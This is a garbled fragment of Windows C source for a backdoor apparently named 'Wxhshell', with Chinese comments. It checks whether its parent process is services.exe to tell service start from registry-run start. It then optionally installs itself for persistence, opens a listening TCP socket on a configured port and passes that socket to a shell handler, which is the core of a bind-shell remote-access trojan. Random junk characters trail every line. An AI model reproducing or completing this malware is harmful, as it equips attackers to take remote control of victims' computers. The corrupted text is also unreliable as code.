static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +u25>pX
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z13"S(5D~
\2eYw.I=
HANDLE hProcess; }})4S;j
PROCESS_BASIC_INFORMATION pbi; 8 _`Lx_R
?:n{GK
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tGM)"u-
if(NULL == hInst ) return 0; Vy-S9=
P]dDTh~e~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iP'}eQn]c
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {fIH9+v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UPN2p&gM
~}4H=[Zu
if (!NtQueryInformationProcess) return 0; nwcT8b87J
8Bhot,u'T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s8eiq`6\H}
if(!hProcess) return 0; r<C^hs&]
o~es>;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z{!wQ~
j
fjp>FVv3
CloseHandle(hProcess); bmT J
mO> [kb"V'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IwWo-WN7.
if(hProcess==NULL) return 0; /_jApZz
9h*$P:S;1v
HMODULE hMod; z:<(b
char procName[255]; ?]h+En5z8
unsigned long cbNeeded; 2$1rS}}
Ej.D!@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :nZ*x=aq
:Q\h'$C
CloseHandle(hProcess); |G%MiYd
dF1Bo
if(strstr(procName,"services")) return 1; // 以服务启动 OQ!mL3f
3UrqV`x \
return 0; // 注册表启动 *'exvY~
} G ROl9xp2
39~fP)
// 主模块 ]]d@jj
int StartWxhshell(LPSTR lpCmdLine) {'r(P&
{ 8oA6'%.e
SOCKET wsl; WNL3+
BOOL val=TRUE; }[i35f[w
int port=0; y)(SS8JR
struct sockaddr_in door; \V:
_Zs
A9lqVMp64
if(wscfg.ws_autoins) Install(); rZpc"<U
YrZAy5\
port=atoi(lpCmdLine); cMK6
o5Qlp5`:u
if(port<=0) port=wscfg.ws_port; If4YqBG
M6DyOe<
WSADATA data; ,LzS"lmmo
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gVq{g,yi
L{gFk{@W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >u4uV8S
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `L9o!OsQ
door.sin_family = AF_INET; 2ix_,yTO
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pv0OoN*eJ{
door.sin_port = htons(port); |c >
&BE[=& |
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s|{K?s
closesocket(wsl); "?avb`YU'
return 1; q{ctHs Q(9
} %FyB\IQ
f#X`e'1
if(listen(wsl,2) == INVALID_SOCKET) { mX |AptND
closesocket(wsl); ]7xAL7x
return 1; \=5CNe
} 2d1'!B
zDA
Wxhshell(wsl); "aa6W
WSACleanup(); J`"1DlH
dYr#
return 0; lfI[r|
" _q5\]z\O
} u)Y#&q